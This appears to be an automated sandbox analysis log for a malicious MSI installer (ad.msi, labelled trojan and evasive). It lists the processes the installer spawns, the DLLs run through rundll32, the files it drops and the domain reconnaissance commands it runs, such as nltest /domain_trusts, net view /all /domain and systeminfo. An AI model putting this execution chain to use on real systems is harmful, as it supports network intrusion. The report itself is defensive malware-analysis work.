Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005958C	6_2_000000018005958C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800576DC	6_2_00000001800576DC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800097E0	6_2_00000001800097E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800277FC	6_2_00000001800277FC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002D964	6_2_000000018002D964
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180073B60	6_2_0000000180073B60
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018007BBB0	6_2_000000018007BBB0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001BC38	6_2_000000018001BC38
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005DD18	6_2_000000018005DD18
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180073DF0	6_2_0000000180073DF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180011DF0	6_2_0000000180011DF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005BE6C	6_2_000000018005BE6C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004FF88	6_2_000000018004FF88
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB71030	6_2_000001FB3AB71030
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A41030	7_2_0000024739A41030
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA01030	8_2_00000210FEA01030

Source: Joe Sandbox View	Dropped File: :wtfbbq (copy) 1625AC230AA5CA950573F3BA0B1A7BD4C7FBD3E3686F9ECD4A40F1504BF33A11
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\MSID3EB.tmp 426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD

Source: C:\Windows\System32\rundll32.exe	Code function: String function: 000000018000CF30 appears 33 times
Source: C:\Windows\System32\rundll32.exe	Code function: String function: 0000000180005348 appears 71 times
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: String function: 00B43292 appears 70 times
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: String function: 00B43790 appears 39 times
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: String function: 00B4325F appears 103 times

Source: ad.msi	Binary or memory string: OriginalFilenameviewer.exeF vs ad.msi
Source: ad.msi	Binary or memory string: OriginalFilenameAICustAct.dllF vs ad.msi

Source: classification engine

Classification label: mal100.spre.troj.evad.winMSI@38/31@2/2

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180049050 GetCurrentProcessId,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,SetLastError,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,OpenProcess,	6_2_0000000180049050
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004B1A4 memset,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,WTSGetActiveConsoleSessionId,WTSQueryUserToken,GetTokenInformation,DuplicateTokenEx,CreateEnvironmentBlock,CreateProcessAsUserW,GetLastError,DestroyEnvironmentBlock,CloseHandle,CloseHandle,AdjustTokenPrivileges,CloseHandle,	6_2_000000018004B1A4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180049278 LookupPrivilegeValueW,LookupPrivilegeValueW,LookupPrivilegeValueW,LookupPrivilegeValueW,??_U@YAPEAX_K@Z,GetCurrentProcess,OpenProcessToken,CreateRestrictedToken,CloseHandle,CloseHandle,AllocateAndInitializeSid,GetLengthSid,SetTokenInformation,FreeSid,AdjustTokenPrivileges,??_V@YAXPEAX@Z,	6_2_0000000180049278
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018008395A DestroyEnvironmentBlock,CloseHandle,CloseHandle,AdjustTokenPrivileges,CloseHandle,	6_2_000000018008395A

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B23860 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,FindCloseChangeNotification,Process32NextW,CloseHandle,

5_2_00B23860

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B24BA0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,IUnknown_QueryInterface_Proxy,IUnknown_QueryInterface_Proxy,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

5_2_00B24BA0

Source: C:\Windows\Installer\MSID8B1.tmp

Code function: 5_2_00B245B0 LoadResource,LockResource,SizeofResource,

5_2_00B245B0

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_0000000180049AEC OpenSCManagerW,OpenServiceW,ChangeServiceConfigW,StartServiceW,GetTickCount,Sleep,GetTickCount,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,

6_2_0000000180049AEC

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLD87F.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5404:120:WilError_03
Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\runnung
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3788:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSID3EB.tmp

Jump to behavior

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\Installer\MSID8B1.tmp

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Local\sharepoint\360total.dll, homq

Source: rundll32.exe, rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	Binary or memory string: select * from sqlite_sequence;
Source: rundll32.exe, rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	Binary or memory string: update sqlite_sequence set seq = 0 where name='MT';

Source: ad.msi

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\ad.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E4F2088FE7B6F79163C652AEB7DCBA5B C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 2B25E5241F8800AB2020C808DD90D583
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID8B1.tmp "C:\Windows\Installer\MSID8B1.tmp" C:/Windows/System32/rundll32.exe C:\Users\user\AppData\Local\sharepoint\360total.dll, homq
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Local\sharepoint\360total.dll, homq
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E4F2088FE7B6F79163C652AEB7DCBA5B C	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 2B25E5241F8800AB2020C808DD90D583	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSID8B1.tmp "C:\Windows\Installer\MSID8B1.tmp" C:/Windows/System32/rundll32.exe C:\Users\user\AppData\Local\sharepoint\360total.dll, homq	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c ipconfig /all	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c systeminfo	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\cmd.exe /c net view /all /domain	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nltest.exe nltest /domain_trusts /all_trusts	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srclient.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\Installer\MSID8B1.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSID8B1.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSID8B1.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSID8B1.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSID8B1.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\ipconfig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\nltest.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: cscapi.dll	Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: ad.msi

Static file information: File size 1619456 > 1048576

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSID8B1.tmp, 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, MSID8B1.tmp, 00000005.00000000.1989909897.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, ad.msi, MSID8B1.tmp.1.dr, 5fd5a1.msi.1.dr, MSID824.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSID8B1.tmp, 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, MSID8B1.tmp, 00000005.00000000.1989909897.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, ad.msi, MSID8B1.tmp.1.dr, 5fd5a1.msi.1.dr, MSID824.tmp.1.dr
